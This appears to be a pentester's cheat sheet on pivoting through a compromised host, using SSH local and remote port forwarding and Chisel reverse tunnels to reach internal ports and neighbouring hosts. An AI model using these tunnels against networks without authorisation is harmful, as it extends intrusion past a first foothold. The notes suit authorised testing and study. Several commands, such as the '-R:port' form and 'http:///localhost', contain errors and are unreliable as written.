PortForwading & Tunnel

SSH

Local

> case A: access to a port only open on the compromised host
> link local port to port of target host
>
> > `ssh -L lport:localhost:rport username@compromisedIP`
>
> case B: access to a port on 3rd host with the same subdomain network of compromised host
> link local port to 3rd target host port
>
> > `ssh -L lport:3rdhostIP:rport username@compromisedIP`

Remote

> case A: let compromised host access to a remote port, localhost is able to visit, but compromised host cannot, in another word, this port only open for localhost
>
> > `ssh -R:port(compromised):localhost:port(target) username@compromisedIP`
>
> case B: let compromised host access to a remote port, localhost is able to visit, but compromised host cannot, a port open for the subdomain of localhost
>
> > `ssh -R:port(compromised):nearhostIP:rport username@compromisedIP`

Chisel

> A: let compromised host access to a remote port, localhost is able to visit, but compromised host cannot, in another word, this port only open for localhost
>
> > server set on localhost, this listening IP is used for create tunnel
> > `chisel server -p xxx`
> > on compromised host
> > `chisel client localhostIP:port(you are listening) port(on compromised):3edhostIP:rport`
> > on compromised host - `curl http://localhost:port(on compromised)`
>
> B: localhost access a port open in the subnetwork where compromised host sits
>
> > server also set on localhost, this listening IP is used for create tunnel
> > `chisel server -p xxx`
> > on compromised host
> > `chisel client localhostIP:port(you are listening) R:port(localhost):3edhostIP:port(3rd)`

> > on localhost, access to port 3rd
> > `curl http:///localhost:port(localhost)'